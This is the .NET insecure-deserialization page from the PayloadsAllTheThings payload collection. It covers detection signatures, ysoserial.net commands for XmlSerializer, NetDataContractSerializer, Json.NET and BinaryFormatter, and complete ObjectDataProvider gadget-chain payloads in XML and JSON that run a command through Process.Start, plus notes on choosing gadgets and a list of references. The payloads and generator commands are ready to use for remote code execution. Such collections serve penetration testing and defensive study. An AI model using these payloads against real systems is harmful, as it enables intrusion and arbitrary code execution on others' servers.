PayloadsAllTheThings/Insecure Deserialization/DotNET.md

# .NET Serialization

## Summary

* [Detection](#detection)
* [Tools](#tools)
* [Formatters](#formatters)
    * [XmlSerializer](#)
    * [DataContractSerializer](#)
    * [JSON.NET](#)
    * [BinaryFormatter](#)
* [POP Gadgets](#pop-gadgets)
* [References](#references)


## Detection

* `AAEAAD` (Hex) = .NET deserialization BinaryFormatter
* `FF01` (Hex) / `/w` (Base64) = .NET ViewState

Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`


## Tools

* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
```ps1
$ cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```

## Formatters

![NETNativeFormatters.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Insecure%20Deserialization/Images/NETNativeFormatters.png?raw=true)    
.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)

### XmlSerializer

* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
* The attacker must control the **type** of the XmlSerializer.
* Payload output: **XML**

```xml
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
```


### DataContractSerializer

> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.

* In C# source code, look for `DataContractSerializer(typeof(<TYPE>))`.
* Payload output: **XML**
* Data **Type** must be user-controlled to be exploitable


### NetDataContractSerializer 

* In C# source code, look for `NetDataContractSerializer().ReadObject()`.
* Payload output: **XML**

```ps1
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
```


### JSON.NET

* Payload output: **JSON**

```ps1
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```

### BinaryFormatter

> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.

* In C# source code, look for `System.Runtime.Serialization.Binary.BinaryFormatter`.
* Exploitation requires `[Serializable]` or `ISerializable` interface.
* Payload output: **Binary**


```ps1
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```


## POP Gadgets

These gadgets must have the following properties:
* Serializable
* Public/settable variables
* Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors

You must carefully select your **gadgets** for a targeted **formatter**.


List of popular gadgets used in common payloads.
* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
    * Use `MethodParameters` to set arbitrary parameters
    * Use `MethodName` to call an arbitrary function 
* **ExpandedWrapper**
    * Specify the `object types` of the objects that are encapsulated
    ```cs
    ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
    ```


## References

* [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
* [Attacking .NET Deserialization - Alvaro Muñoz - 28 avr. 2018](https://youtu.be/eDfGpu3iE4Q)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - Slides](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - White Paper](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - DEF CON 25 Conference](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - Slides](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - White Paper](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
* [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - ALYSSA RAHMANDEC](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - 04/2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - hacktricks](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
* [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Nov 2, 2021 - Shubham Shah](https://blog.assetnote.io/2021/11/02/sitecore-rce/)
* [Finding a New DataContractSerializer RCE Gadget Chain - November 7, 2019 - dugisec](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)